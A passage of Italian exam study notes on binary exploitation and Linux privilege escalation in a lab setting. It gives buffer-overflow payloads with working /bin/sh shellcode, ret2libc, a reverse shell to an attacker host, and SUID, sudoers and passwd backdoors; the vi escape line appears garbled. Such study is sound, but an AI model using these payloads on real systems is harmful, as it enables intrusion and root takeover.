3. **Esplorazione a Cascata:** Spostati nella funzione custom appena trovata eseguendo il suo disassemblaggio (es. `disas check`). È all'interno di questi branch secondari che solitamente si dirama la logica condizionale. Cerca istruzioni di salto (`jne`, `cmp`) seguite da ulteriori `call` a funzioni dai nomi sospetti (es. `trythat`, `maybethisone`).
4. **Estrazione Indirizzi:** Solo a questo punto, sapendo esattamente *quali* sono le funzioni che governano il programma, utilizza il comando `info functions`. L'output rivelerà la mappatura completa in memoria, permettendoti di annotare chirurgicamente gli indirizzi esadecimali delle funzioni candidate individuate al passo 3 (oppure gli indirizzi esadecimali delle rispettive istruzioni `call` per bypassare il problema dei Bad Characters).

3.4.3 Il trucco del Breakpoint su `strcmp` (Recupero Password Offuscate)

Se la password non è in chiaro ma viene mascherata, `strings` fallirà (anche se è sempre bene lanciarlo per cercare indizi o messaggi di errore). Tuttavia, al momento del controllo finale, la tua password errata e quella segreta **devono essere confrontate in chiaro** in memoria dalla funzione di libreria.

Ecco il workflow operativo definitivo basato sulla soluzione d'esame:

1. Usa `disas main` per capire il flusso. Se vedi che invoca una funzione di validazione (es. `call <check>`), procedi esplorando quella con `disas check`.
2. Cerca la riga dove viene chiamata la funzione di comparazione: `call <strcmp@plt>`. Appuntati l'indirizzo esadecimale di **quella precisa istruzione** (es. `0x080491d9`).
3. Metti un breakpoint esattamente lì: `b *0x080491d9`.
4. Lancia il programma inserendo una password fittizia: `run ciao`.
5. Quando l'esecuzione si ferma al breakpoint, i valori da confrontare sono già stati caricati nei registri o sullo stack. Ispeziona il registro puntato (solitamente `EAX`) chiedendo a GDB di stamparlo come stringa (`s`):

```
(gdb) x/s $eax
0x804a008: "ThisShouldBeHardToGuess"
```

Hai appena svelato la password segreta in chiaro!

3.5 Metodologia di Exploitation

Per prendere il controllo del registro EIP, è necessario determinare l'esatto *offset*, ovvero il numero preciso di byte di padding richiesti per arrivare all'indirizzo di ritorno.

In sede d'esame questo calcolo si effettua empiricamente con la **ricerca dicotomica (bisezione)**:

1. Si inviano grandi blocchi di caratteri "A" (es. `print "A"x10000`) per verificare se il binario è vulnerabile al *Segmentation Fault*.
2. Se vulnerabile, si affina il numero e si aggiungono 4 byte finali riconoscibili (es. "BBBB") concatenandoli con la virgola in Perl:

```
(gdb) run $(perl -e 'print "A"x212, "BBBB"')
```

3. Si analizza il crash. Se GDB mostra esattamente `0x42424242 in ?? ()`, significa che le 4 "B" hanno sovrascritto l'EIP chirurgicamente.

Il Padding Esatto Se "A"x212, "BBBB" ti restituisce `0x42424242`, il tuo offset finale di iniezione è **212**.

3.6 Scenari d'Esame

3.6.1 Scenario 1: Sovrascrivere una variabile di controllo

Contesto e Obiettivo: Il programma non deve aprire una shell, ma semplicemente stampare una flag nascosta. Per farlo, richiede che una variabile locale (dichiarata nel codice subito dopo il buffer) assuma un valore esatto per superare un controllo `if`. Noi sborderemo dal buffer per sovrascrivere proprio quella variabile.

1. **Fase 1: Determinare il Padding (Offset)** Dobbiamo capire quanti caratteri inserire prima di arrivare a "toccare" la variabile. Abbiamo due metodi:
 - **Metodo Universale (Bisezione):** Se non conosciamo i nomi delle variabili o non abbiamo i simboli di debug, andiamo per tentativi procedendo a blocchi (es. inviando "A"x100). Incrementiamo finché il valore stampato dal programma (che ci avvisa "control is now...") non cambia, oppure finché non andiamo a sovrascrivere ciò che non dovremmo.
 - **Metodo GDB (Se abbiamo il codice):** Se GDB riconosce le variabili locali, basta fermarsi con un breakpoint e calcolare la distanza matematica:

```
(gdb) p &buffer # Es: 0xbffff000
(gdb) p &target_variable # Es: 0xbffff068
# Differenza = 0x68 (104 byte di padding)
```

2. **Fase 2: Struttura del Payload e Iniezione** Identificato il valore richiesto dall'`if` (es. `0x45444342`), si inserisce il padding e si concatena il valore convertito in Little-Endian (`\x42\x43\x44\x45`):

```
./vulnerable_binary $(perl -e 'print "A"x[OFFSET] . "\x42\x43\x44\x45"')
```

3.6.2 Scenario 2: Esecuzione di funzioni nascoste multiple

Contesto e Obiettivo: Il programma vulnerabile contiene diverse funzioni di testing o derisione (es. "Ugh.", "Nope") e una sola funzione risolutiva che stampa la flag. L'obiettivo è sovrascrivere l'EIP per eseguire la funzione corretta.

1. **Fase 1: Trovare le funzioni candidate** Esegui `info functions` per mappare lo spazio di indirizzamento, oppure fai il `disas` delle funzioni principali per vedere quali sub-routine vengono invocate. Appuntati le funzioni sospette (es. `trythis`, `trythat`, `maybethisone`).
2. **Fase 2: Il Trucco della CALL (Bypass Bad Characters)** Se prendi l'indirizzo diretto di una funzione da `info functions` (es. `0x08049300`) potresti accorgerti che contiene un Null Byte (`\x00`). Se provi a iniettarlo, la stringa verrà troncata e l'exploit fallirà!

Pro-Tip d'Esame: Saltare alla Call Invece di saltare all'inizio della funzione desiderata, fai il `disas` della funzione che la invoca (es. `disas check`). Cerca l'istruzione `call`:

```
0x080491fe <+88>: call 0x8049300 <maybethisone>
```

Usa l'indirizzo dell'istruzione `call` (in questo caso `0x080491fe`). Non contiene byte nulli! Saltando lì, la CPU eseguirà comunque la chiamata alla funzione corretta aggirando i filtri di bash o C.

3. **Fase 3: Test Iterativo delle Funzioni** Costruisci il payload invertendo l'indirizzo scelto in formato Little-Endian (`\xfe\x91\x04\x08`) e provalo.

```
# Test funzione 1 ("maybethisone")
(gdb) run $(perl -e 'print "A"x212, "\xfe\x91\x04\x08"')
# Output: Ugh. -> Sbagliata.

# Test funzione 2 ("trythat") usando l'indirizzo della sua
# CALL (es. 0x080491ed)
(gdb) run $(perl -e 'print "A"x212, "\xed\x91\x04\x08"')
# Output: SEC{C0ngr4tsUfoundIT} -> Corretta!
```

3.6.3 Scenario 2.1: Variante Remota e Reverse Shell

Contesto e Obiettivo: In questo scenario stiamo attaccando un server remoto (esposto in rete tramite Netcat) e non un eseguibile lanciato sul nostro terminale locale. Se il nostro exploit ha successo, il server remoto farà "spawnare" una bash. Tuttavia abbiamo un grosso problema: se usiamo il comando standard `perl | nc`, non appena Perl finisce di stampare il nostro payload, lo standard input (il "tubo" della pipe) si chiude. Questo causa la chiusura immediata e automatica della bash appena aperta, vanificando l'attacco. L'obiettivo è quindi trovare un modo per mantenere aperto e interattivo questo canale.

1. **La Soluzione (Il Trick di Cat):** Per evitare che il canale si chiuda, raggruppiamo l'esecuzione di Perl all'interno di parentesi graffe e concateniamo il comando `cat`

lanciato senza argomenti. `cat` resterà in attesa infinita del nostro input da tastiera, mantenendo viva la pipe.

2. Comando d'Esame:

```
{ perl -e 'print "A"x[OFFSET] . "\xb9\x61\x55\x56"'; cat; } |  
nc [IP_TARGET] [PORTA]
```

Nota pratica: Dopo l'esecuzione, il terminale sembrerà totalmente bloccato. In realtà sei dentro! Premi Invio e prova a digitare i comandi di shell (es. `ls`, `whoami`).

3.6.4 Scenario 3: Buffer Overflow con Shellcode e NOP Sled

Contesto e Obiettivo: Il programma non contiene funzioni "utili" pre-scritte da richiamare. Dobbiamo quindi essere noi a iniettare del vero e proprio codice macchina malevolo (*shellcode*) all'interno dello stack, per poi costringere l'EIP a saltarci sopra. Poiché è difficilissimo azzeccare al singolo byte l'indirizzo esatto in cui inizierà il nostro shellcode, usiamo una **NOP Sled** (slitta di NOP). L'istruzione NOP (`\x90`) dice alla CPU "non fare nulla e passa alla successiva". Se noi riempiamo lo stack di NOP prima dello shellcode, ci basterà mirare "nel mucchio": la CPU atterrerà in mezzo ai NOP e "scivolerà" fino allo shellcode.

1. **Fase 1: Calcolo dei Componenti del Payload** Troviamo prima di tutto l'offset totale necessario per mandare in crash l'EIP tramite bisezione (mettiamo caso sia 200 byte). I nostri dati sono due:
 - L'Offset totale (es. 200 byte).
 - La lunghezza dello shellcode che vogliamo iniettare (es. 50 byte).

La NOP Sled occuperà tutto lo spazio rimanente: $200 - 50 = 150$ byte di NOP (`\x90`). Il Payload sarà strutturato così: [150 byte NOP] + [50 byte Shellcode] + [4 byte EIP].

2. **Fase 2: Individuazione dell'Indirizzo di Atterraggio** Per trovare l'indirizzo da mettere nell'EIP, mandiamo un payload pieno di soli NOP per test:

```
(gdb) run $(perl -e 'print "\x90"x200')           # Genera un crash  
riempiendo lo stack  
(gdb) x/100xw $esp                                # Esamina la  
memoria intorno a ESP
```

Visivamente, cerchiamo il blocco di `0x90909090` stampati a schermo e ne peschiamo un indirizzo situato **più o meno al centro** (es. `0xffffd64c`).

3. **Fase 3: Comando Finale** Inseriamo l'indirizzo scelto (in Little-Endian) a chiusura del nostro payload:

```
./vulnerable_binary $(perl -e 'print "\x90"x150 . "[  
SHELLCODE_DI_50_BYTE]" . "\x4c\xd6\xff\xff"')
```

Shellcode Standard d'Esame per /bin/sh All'esame, se non fornito, il payload a 32-bit (senza bad characters) per lanciare una shell locale è:
`\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80`

3.6.5 Scenario 4: Bypass NX Stack (Return to Libc)

Contesto e Obiettivo: Se lo stack è protetto dal bit NX (Non-Eseguibile), l'iniezione di shellcode fallisce e la CPU va in blocco. Per aggirare questa protezione si ricorre alla tecnica *Ret2Libc*, che riutilizza funzioni già caricate legittimamente in memoria della libreria standard C (`libc`). Falsificheremo uno *Stack Frame* valido per forzare il programma a invocare la funzione `system()` (*funzione che esegue comandi di sistema*) passandole come argomento la stringa `"/bin/sh"` (*il percorso per istanziare una shell*), per poi reindirizzare la chiusura sulla funzione `exit()` (*funzione che termina il processo in modo pulito ed evita crash sospetti nei log*).

1. **Fase 1: Raccolta dei Tre Indirizzi Chiave in GDB** Estrarre la posizione esatta in memoria dei tre componenti fondamentali:

```
(gdb) b main
(gdb) run
(gdb) p system                # 1. Trova l'indirizzo di
    system()
(gdb) p exit                  # 2. Trova l'indirizzo di exit
    ()
(gdb) x/500s $esp             # 3. Cerca la stringa "/bin/sh"
    nelle var. d'ambiente
```

Se `x/500s $esp` fallisce: usa `find &system, +9999999, "/bin/sh"` per cercarla direttamente nei segmenti mappati della libreria.

2. **Fase 2: Regola dello Stack Frame (Perché `exit` va PRIMA di `/bin/sh`?)**
In architettura x86 a 32-bit (*convenzione cdecl*), una funzione invocata si aspetta tassativamente lo stack organizzato secondo questa gerarchia hardware:

- Al top attuale dello stack (ESP) deve risiedere l'**Indirizzo di Ritorno** (dove la CPU salta quando la funzione termina).
- Subito sotto (ESP + 4) deve risiedere il **Primo Argomento** della funzione.

Dato che noi saltiamo dentro `system()` sovrascrivendo l'EIP (sfruttando la RET del binario vulnerabile e non una regolare istruzione CALL), `system()` leggerà la memoria convinta che lo stack sia stato configurato normalmente. Dobbiamo quindi posizionare i dati nell'ordine esatto in cui l'hardware li andrà a cercare:

```
[Padding] + [ &system ] + [ &exit (Ritorno fittizio) ] + [
                                     &"/bin/sh" (Argomento) ]
```

Se invertissimo l'ordine inserendo prima la stringa, `system()` cercherà erroneamente di interpretare l'indirizzo di `exit` come l'argomento stringa da eseguire, mandando l'exploit in fallimento.

3. **Fase 3: Compilazione del Payload d'Esame** Trovato l'offset dell'EIP tramite bisezione, concatenare i valori estratti in formato Little-Endian:

```
./vulnerable_binary $(perl -e 'print "A"x[OFFSET_EIP] . "[LITTLE_ENDIAN_SYSTEM]" . "[LITTLE_ENDIAN_EXIT]" . "[LITTLE_ENDIAN_BINSH]"')
```

3.7 Note a Margine: Shellcode e Bad Characters

In sede d'esame lo shellcode da utilizzare viene generalmente fornito all'interno delle risorse o dei file di esercizio. Tuttavia, in contesti reali, i payload macchina vengono generati tramite tool come **msfvenom**.

Durante la costruzione del payload è fondamentale prestare attenzione ai cosiddetti **Bad Characters**. Alcuni caratteri speciali, primo fra tutti il *Null Byte* (`\x00`), ma a seconda dei casi anche il *Line Feed* (`\x0A`) o il *Carriage Return* (`\x0D`), vengono interpretati dalle funzioni di lettura stringhe (come `strcpy` o `gets`) come indicatori di fine stringa. Se lo shellcode o il padding contenessero uno di questi byte, la lettura dell'input verrebbe interrotta prematuramente a metà, invalidando l'intero attacco di overflow.

Capitolo 4 - Privilege Escalation

L'accesso come utente legittimo su una macchina compromessa dà solitamente privilegi molto limitati. L'obiettivo della Privilege Escalation è sfruttare vulnerabilità locali o errori di configurazione per elevare questi privilegi (tipicamente diventando l'utente **root**).

Setup Ambiente Per gli esercizi di *Privilege Escalation* è imperativo partire da un ambiente incontaminato. Usa una VM Linux nuova o ripristina uno snapshot pulito dove non hai ancora svolto esercitazioni. Qualora gli snapshot dovessero corrompersi o darti problemi strani, si può tranquillamente **ricreare una macchina virtuale da capo**.

Gestione dei Falsi Positivi / Vicoli Ciechi Negli esercizi ci saranno sicuramente dei **falsi positivi**. Segnarli nel report dimostra al professore un'ottima capacità analitica e fa risparmiare tempo. Ecco i più comuni:

- **File di Backup:** I file che finiscono con un trattino (es. `/etc/passwd-`) sono solo vecchi file di backup generati in automatico. Segnalali ma ignorali operativamente.
- **Directory con SGID:** Il bit S (SGID) su una *directory* (es. `drwxrwsr-x`) fa sì che i file creati al suo interno ereditino il gruppo della directory, ma **non** fornisce privilegi di esecuzione scalati. È un vicolo cieco.
- **ACL estese senza SUID/Capabilities:** Un binario con permessi `rwX` completi per il tuo utente (grazie a una ACL manipolata) ma sprovvisto di bit SUID o capabilities è inefficace: pur potendolo sovrascrivere, bisognerebbe aspettare che root lo esegua (evento che in un ambiente di laboratorio statico non avviene).

4.1 I Fondamentali: Il Contesto

Non si attacca alla cieca. Prima di agire, dobbiamo enumerare il sistema per individuare i punti deboli. I principali vettori di attacco su Linux includono:

- **Permessi errati e file scrivibili:** File critici di sistema modificabili da utenti standard.
- **Misconfigurazioni sudoers:** Regole che permettono di eseguire comandi critici come root senza password.
- **Eseguibili con SUID bit:** Programmi che ereditano i privilegi del proprietario (root) quando vengono lanciati.
- **Demoni e Cron Jobs:** Script o servizi eseguiti in background da root all'interno dei quali possiamo iniettare codice malevolo.
- **ACL e Capabilities:** Permessi granulari o "superpoteri" frammentati assegnati in modo non sicuro.

Movimento Laterale via Chiavi SSH Non sempre l'escalation a root è diretta. Spesso lo scenario richiede un **movimento laterale** (cambio utente, es. da utente base a `guest`) per ereditare l'appartenenza a gruppi specifici e poter così attivare vulnerabilità (come SUID o file scrivibili) che per l'utente base erano inerti. Se analizzando il sistema (es. tramite il report di AIDE) scopri una nuova directory contenente una chiave privata OpenSSH (tipicamente nominata `id_guest` o `id_rsa`):

1. **Ispezione:** Conferma la natura del file digitando `file id_guest`.
2. **Sanitizzazione dei permessi:** Il demone SSH rifiuta categoricamente chiavi private con permessi troppo larghi. È mandatorio restringerli: `chmod 400 id_guest`.
3. **Pivoting locale:** Esegui il login per cambiare identità restando sulla stessa macchina puntando a localhost:

```
ssh -i id_guest guest@localhost
```

Ottimizzazione della ricerca in Laboratorio Lanciare una ricerca ricorsiva dalla radice (/) può essere estremamente lento in ambienti di laboratorio a causa delle dimensioni del disco. Per velocizzare il processo, conviene limitare la ricerca alle **cartelle più probabili** in cui si trovano eseguibili, script o file di configurazione personalizzati:

```
find /bin /usr/bin /usr/sbin /sbin /usr/local/bin /opt /etc -  
writable -type d 2>/dev/null
```

Spiegazione dei parametri:

- `-writable`: Filtra solo le directory in cui l'utente corrente ha permessi di scrittura.
- `-type d`: Cerca solo directory (utile per trovare dove possiamo creare nuovi file).
- `2>/dev/null`: Reindirizza gli errori di permesso negato (stderr) nel nulla, pulendo l'output.

4.2 System Integrity Check (AIDE)

L'esame può richiedere di individuare *quale* file di sistema è stato compromesso (es. alterazione dei permessi SUID/SGID a tua insaputa da parte di uno script del prof) prima di poterne abusare per la Privilege Escalation. **AIDE** (Advanced Intrusion Detection Environment) è un HIDS (Host-based Intrusion Detection System) di tipo signature-based che verifica l'integrità del filesystem confrontando lo stato attuale con un database di riferimento (snapshot).

4.2.1 Workflow Operativo: Inizializzazione e Controllo

Se l'ambiente non è già predisposto, devi prima creare lo snapshot di riferimento (quando il sistema è pulito), lanciare il comando sospetto e poi verificare le differenze.

1. **Creazione del database iniziale (Baseline):** Da eseguire *prima* di far partire script o comandi malevoli.

```
aide -c /etc/aide/aide.conf -i
```

ATTENZIONE: Il database appena generato non è subito attivo! Devi forzarne l'attivazione sovrascrivendo quello di default con questo comando vitale:

```
sudo cp /var/lib/aide/aide.db.new /var/lib/aide/aide.db
```

(Il flag `-i` sta per *init*. Nota: in alcune configurazioni potrebbe essere necessario rinominare il database generato per renderlo quello attivo, es. `mv aide.db.new aide.db`).

2. **Esecuzione del check di integrità:** Da eseguire *dopo* l'attacco sospetto.

```
aide -c /etc/aide/aide.conf -C
```

(Il flag `-C` maiuscolo sta per *check*).

Lettura dell'Output: L'output stamperà una tabella riassuntiva. Cerca le deviazioni nella colonna dei permessi (es. l'aggiunta di una `s` nei permessi di un binario di sistema come `/usr/bin/cp`), oppure variazioni negli hash (SHA256) che indicano che il contenuto del file è stato alterato.

4.2.2 Configurazione Mirata

Il file di configurazione (`/etc/aide/aide.conf`) definisce quali cartelle monitorare e *cosa* controllare di quei file. Per gli esami, l'approccio più rapido ed efficace è aprire il file di configurazione e aggiungere in fondo il monitoraggio aggressivo "Full" per le directory chiave:

```
/usr/bin f Full
/etc f Full
```

Nota: Se preferisci la sintassi granulare personalizzata, puoi usare invece formati come `/usr/bin p+i+u+g+sha256`. Significato delle regole principali:

- `p`: permessi
- `i`: inode
- `u`: user (proprietario)
- `g`: group
- `sha256`: ricalcola l'hash per verificare modifiche al contenuto

4.2.3 Limiti: Cosa AIDE rileva e cosa NO

Questo è un aspetto critico per il report d'esame. AIDE non è onnisciente, dipende strettamente da come è configurato.

- **SI RILEVA:**

- File aggiunti o rimossi in cartelle monitorate (es. `/bin`).
- Binari di sistema modificati nel contenuto (alterazione dell'hash).
- Modifiche ai permessi standard UNIX (es. SUID aggiunto a `cp`).

- **NON RILEVA (Punti Ciechi dell'HIDS):**

- *Modifiche fuori scope:* Se alteri `/etc/passwd` ma AIDE è configurato per monitorare solo `/usr/bin`, l'attacco passa inosservato.
- *Capabilities anomale:* L'assegnazione di una Linux Capability (es. tramite `setcap`) non altera i classici permessi UNIX e non viene rilevata dalle regole base. Richiede l'uso di `getcap -r /`.
- *ACL non standard:* Come per le capabilities, l'aggiunta di permessi tramite *Access Control List* sfugge ai controlli standard. Richiede l'uso di `getfacl -sR /`.
- *Regole sudoers insicure:* Un'aggiunta malevola a `/etc/sudoers` viene rilevata solo se `/etc` è monitorato per le modifiche di contenuto.

4.3 Sfruttare le Misconfigurazioni di sudoers

Il file `/etc/sudoers` gestisce quali utenti possono eseguire determinati comandi con i privilegi di altri utenti. Se configurato in modo troppo permissivo, diventa il vettore di attacco principale.

4.3.1 Verifica dei privilegi assegnati

La prima azione operativa è controllare i privilegi `sudo` associati al nostro utente:

```
sudo -l
```

Flag: `-l` (list) elenca i privilegi consentiti per l'utente corrente. Se l'output mostra comandi associati a `NOPASSWD`, significa che possiamo eseguirli come root senza conoscere la password di amministrazione.

4.3.2 Focus: Shell Escape da Editor (`vi`, `vim`, `nano`)

Consentire l'esecuzione di un editor di testo tramite `sudo` equivale a concedere l'accesso root completo, poiché quasi tutti gli editor permettono di invocare comandi di sistema o shell.

Esempi pratici di Escape:

- **vi / vim:** Eseguire l'editor con `sudo vi` (o `sudo vim`), quindi digitare in modalità comando:

```
#!/bin/bash
```

L'operatore `!` indica all'editor di eseguire il comando di sistema che segue.

- **nano:** Eseguire l'editor con `sudo nano`. Premere in sequenza `Ctrl + R` (Read File) e poi `Ctrl + X` (Execute Command). Nella riga di comando che appare in basso, digitare il payload per invocare la shell:

```
reset; sh 1>&0 2>&0
```

Questo comando resetta il terminale e ridirige lo standard input/output della nuova shell sulla sessione corrente.

Perché l'exploit potrebbe NON funzionare?

1. **Restrizioni sui file:** Se la regola sudoers è limitata a un file specifico senza caratteri jolly (es. `parrot ALL=(root) NOPASSWD: /usr/bin/vi /var/www/html/index.html`), l'editor si aprirà solo su quel file specifico. Non potremo usare il globbing per navigare nel filesystem, anche se l'escape della shell rimarrà comunque possibile.
2. **Modalità Ristretta:** Se il sistema invoca varianti ristrette degli editor (come `rvim` o `nano -R`), le funzionalità di esecuzione di comandi esterni e di apertura di shell sono disabilitate a livello di codice.
3. **Secure Path:** Se nel file `sudoers` è attiva l'opzione `secure_path`, la variabile d'ambiente `PATH` viene resettata durante l'esecuzione di `sudo`. Se proviamo a invocare un binario non presente nei percorsi sicuri stabiliti dall'amministratore, l'escape fallirà.

4.3.3 Vettore: Path Traversal (Abuso del globbing *)

Lo Scenario: La regola sudoers permette `sudo vi /var/www/html/*`. L'amministratore voleva limitarci alla cartella web, ma l'uso del carattere jolly permette la risalita delle directory.

L'Exploit:

```
sudo vi /var/www/html/../../../../etc/shadow
```

Poiché `vi` viene avviato come root, la sequenza `../` permette di bypassare il vincolo della cartella e di aprire direttamente il file di sistema delle password criptate con diritti di lettura e scrittura.

4.4 Abuso di file con SUID settato

Il bit **SUID** (Set Owner User ID) è un permesso speciale applicato a un file eseguibile. Quando il bit è attivo, il processo generato non gira con i privilegi dell'utente che lo ha lanciato, ma eredita l'UID del proprietario del file (che solitamente è `root`).

4.4.1 Individuazione efficiente dei file SUID

Invece di scansionare l'intero disco, in laboratorio è consigliabile limitarsi ai percorsi dei binari di sistema:

```
find /bin /usr/bin /usr/sbin /sbin /usr/local/bin /opt -type f -  
perm /4000 2>/dev/null
```

Spiegazione dei parametri:

- **-type f**: Limita la ricerca ai file regolari (escludendo directory o link).
- **-perm /4000**: Filtra specificamente i file che hanno il bit SUID attivato (il valore ottale 4000 corrisponde alla presenza della **s** sui permessi dell'utente proprietario).

4.4.2 Generalizzazione del vettore SUID

Se un qualsiasi comando o binario non standard ha il bit SUID attivo, esiste un'elevata probabilità che possa essere abusato per scalare i privilegi. La regola generale è: *se il comando permette di leggere file, scrivere file o eseguire sub-processi, allora permette di diventare root.*

Come trovare il vettore usando Man e Help Se durante l'esame trovi un binario SUID sconosciuto, usa il manuale (**man nomecomando**) o l'aiuto in linea (**nomecomando -help**) per cercare:

- Argomenti che eseguono comandi esterni (cerca parole chiave come **exec**, **command**, **shell**, **!**).
- Opzioni per salvare l'output su file o caricare file di configurazione personalizzati (cerca **output**, **write**, **read**, **load**, **-o**).
- Possibilità di caricare plugin o macro esterne.

La risorsa di riferimento assoluta per verificare se un binario SUID è documentato come vulnerabile è il sito **GTFOBins** (<https://gtfobins.github.io>).

4.4.3 Vettore 1: Manipolazione tramite cp (Copia)

Se **cp** ha il bit SUID, possiamo sovrascrivere qualsiasi file di sistema.

1. Creiamo una copia di **/etc/passwd** nella nostra home:

```
cat /etc/passwd > ~/passwd
```

2. Modifichiamo la copia locale aggiungendo la nostra riga malevola.
3. Usiamo il **cp** con SUID per sovrascrivere il file di sistema originale:

```
cp ~/passwd /etc/passwd
```

4.4.4 Vettore 2: Esecuzione di comandi tramite find

Se `find` ha il bit SUID, esegue i comandi subordinati come root.

```
find . -exec /bin/sh -p \; -quit
```

Spiegazione dei parametri:

- `-exec`: Indica a `find` di eseguire il comando che segue (`/bin/sh`).
- `-p`: Importante! Indica alla shell di mantenere i privilegi effettivi (`privileged mode`), impedendo a `bash` o `sh` di dropare l'UID di root ereditato dal SUID.
- `\;` : Chiude la stringa del comando inserito in `-exec`.
- `-quit`: Interrompe l'esecuzione di `find` subito dopo il primo match, evitando che il comando venga eseguito ripetutamente per ogni file trovato.

4.5 Bombe Logiche: Cron Jobs e Demoni di Sistema

4.5.1 Definizioni Teoriche

- **Cron (Cronjobs)**: È un servizio di pianificazione temporale basato sul tempo. Il demone `crond` esamina specifici file di configurazione ogni minuto ed esegue i comandi o gli script pianificati dagli utenti o dal sistema.
- **Demoni di Sistema**: Sono processi persistenti che girano costantemente in background per gestire servizi di rete, hardware o attività di manutenzione (es. gestiti tramite `systemd`). Spesso questi processi vengono eseguiti con privilegi di `root`.

4.5.2 Individuazione mirata dei Target

Usare `find /` per cercare script in tutto il disco è inefficiente e dispersivo. La struttura della pianificazione di sistema è centralizzata, quindi dobbiamo controllare direttamente le posizioni specifiche:

- **Il file principale**: `/etc/crontab` (contiene le pianificazioni globali di sistema).
- **Le directory cron temporali**: `/etc/cron.hourly/`, `/etc/cron.daily/`, `/etc/cron.weekly/`, `/etc/cron.monthly/`. Queste sono **cartelle separate** dal file `crontab` principale; i file depositati al loro interno vengono eseguiti rispettivamente ogni ora, giorno, settimana o mese.
- **La cartella delle configurazioni modulari**: `/etc/cron.d/`, usata da pacchetti software terzi per installare le proprie pianificazioni.

Comando operativo mirato: Per verificare rapidamente se ci sono script di cron modificabili dal nostro utente senza scansionare l'intero sistema:

```
find /etc/cron* /etc/systemd/system/ -writable 2>/dev/null
```

4.5.3 L'Exploit: Iniezione di Codice

Se individuiamo uno script (es. `/opt/backup.sh`) richiamato da una regola in `/etc/crontab` di root, e tale script è scrivibile da noi, possiamo inserire un payload sfruttando due diverse strategie:

Metodo 1: Creazione di una Backdoor SUID (Permanente)

```
echo 'chmod u+s /bin/bash' >> /opt/backup.sh
```

Al prossimo ciclo di cron, root eseguirà lo script assegnando il bit SUID alla shell di sistema. Una volta fatto, basterà lanciare `/bin/bash -p` in qualsiasi momento da utente standard per diventare root.

Metodo 2: Iniezione di una Reverse Shell

```
echo 'bash -i >& /dev/tcp/IP_PARROT/4444 0>&1' >> /opt/backup.sh
```

Quando lo script viene eseguito da root, avvia una sessione bash interattiva reindirizzando l'input/output verso l'indirizzo IP della macchina d'attacco Parrot sulla porta 4444 (precedentemente messa in ascolto con `nc -lvnp 4444`).

4.6 Access Control List (ACL) Permissive

4.6.1 Contesto e Riconoscimento

Le ACL POSIX estendono il tradizionale modello di permessi UNIX (`rwX` per Proprietario, Gruppo, Altri), permettendo di definire regole d'accesso puntuali per singoli utenti o gruppi desiderati su uno specifico file.

Un file che possiede impostazioni ACL non standard è facilmente riconoscibile tramite un normale comando `ls -l`:

```
ls -l /etc/passwd
-rw-r--r--+ 1 root root 1850 May 22 10:00 /etc/passwd
```

La presenza del carattere `+` subito dopo la stringa dei permessi standard indica che sul file è attiva una ACL personalizzata.

4.6.2 Analisi e Scansione con `getfacl`

Per leggere il dettaglio di una ACL si usa il comando `getfacl`:

```
getfacl -sR /etc 2>/dev/null
```

Spiegazione dei parametri:

- `-s`: (skip-base) Ignora e non mostra i file che hanno solo i permessi UNIX standard, mostrando solo quelli con ACL personalizzate.
- `-R`: Esegue la scansione in modo ricorsivo all'interno della cartella (`/etc`).

Output atteso e interpretazione: Se un file critico è vulnerabile, l'output mostrerà una riga esplicita per il nostro utente o per un gruppo di cui facciamo parte:

```
# file: etc/sudoers
# owner: root
# group: root
user:parrot:rw-
mask::rw-
other::r--
```

La riga `user:parrot:rw-` indica chiaramente che l'utente `parrot`, pur non essendo proprietario né membro del gruppo proprietario, possiede diritti di lettura e scrittura diretti sul file `sudoers`.

Attenzione alla Mask nelle ACL La riga `mask::[permessi]` indica il permesso massimo effettivo consentito dalle ACL sul file per tutti gli utenti inseriti manualmente. Se la `mask` è configurata in modo restrittivo (es. `mask::r-`), essa taglierà e limiterà i permessi reali dell'utente, anche se la riga specifica dell'account dichiara `user:parrot:rw-`. In tal caso, il permesso effettivo di scrittura risulterà disabilitato a meno che non si riesca ad alzare preventivamente il valore della `mask` stessa.

4.6.3 L'Exploit: Abuso dei permessi ACL

Se la scansione con `getfacl` evidenzia che il nostro utente `parrot` ha diritti di scrittura reali (`rw-`) su un file sensibile, l'escalation si effettua a seconda del target trovato:

- **Scenario A: Scrittura su `/etc/sudoers`** Possiamo usare il reindirizzamento di `echo` per inserire una regola `sudoers` permissiva direttamente in coda al file:

```
echo "parrot ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers
```

Una volta fatto, basterà lanciare `sudo su -` per diventare root istantaneamente.

- **Scenario B: Scrittura su `/etc/passwd`** Se l'ACL ci fornisce l'accesso in scrittura a `/etc/passwd`, possiamo iniettare direttamente una riga per forgiare una backdoor amministrativa bypassando del tutto il file `shadow` (vedi la procedura nel Cheat Sheet finale):

```
echo "toor::0:0:root:/root:/bin/bash" >> /etc/passwd
su - toor
```

4.7 Abuso delle Linux Capabilities

4.7.1 Contesto e Definizione

Per evitare il principio del "tutto o nulla" del bit SUID (dove un processo acquisisce l'identità e tutti i poteri di root), il kernel Linux suddivide i privileges tradizionali dell'amministratore in unità di potere distinte e indipendenti, chiamate **Capabilities**. Un binario può ricevere una singola capability per svolgere un compito specifico (es. fare il binding su una porta inferiore alla 1024) senza dover girare come root. Tuttavia, alcune capabilities permettono di bypassare completamente i controlli di sicurezza.

4.7.2 Scansione dei binari con getcap

Per trovare le capabilities assegnate ai file nel sistema:

```
getcap -r / 2>/dev/null
```

Spiegazione dei parametri:

- **-r:** Esegue la ricerca in modo ricorsivo a partire dal percorso indicato.

Output atteso:

```
/usr/bin/nano cap_dac_override=eip
```

L'output mostra il path del binario seguito dalla capability associata. I flag finali indicano lo stato: **e** (effective, attiva), **i** (inheritable, ereditabile dai processi figli), **p** (permitted, consentita).

4.7.3 Riferimenti e Manuale

Per ottenere l'elenco completo di tutte le capabilities disponibili nel sistema e comprendere cosa implicano a livello teorico, è possibile consultare la pagina di manuale dedicata del kernel:

```
man capabilities
```

4.7.4 Vettori Operativi di Escalation

Vettore 1: CAP_DAC_OVERRIDE su un editor di testo

La capability **CAP_DAC_OVERRIDE** permette al processo di ignorare completamente tutti i controlli sui permessi di lettura, scrittura ed esecuzione, consentendo di manipolare qualunque oggetto sul filesystem.

- **Lo Scenario:** Troviamo che `nano` o `vim.tiny` possiede la capability `cap_dac_override=eip`.
- **L'Exploit (Rimozione Password Root):** Apriamo direttamente l'editor per modificare un file critico come `/etc/passwd`:

```
vim.tiny /etc/passwd
```

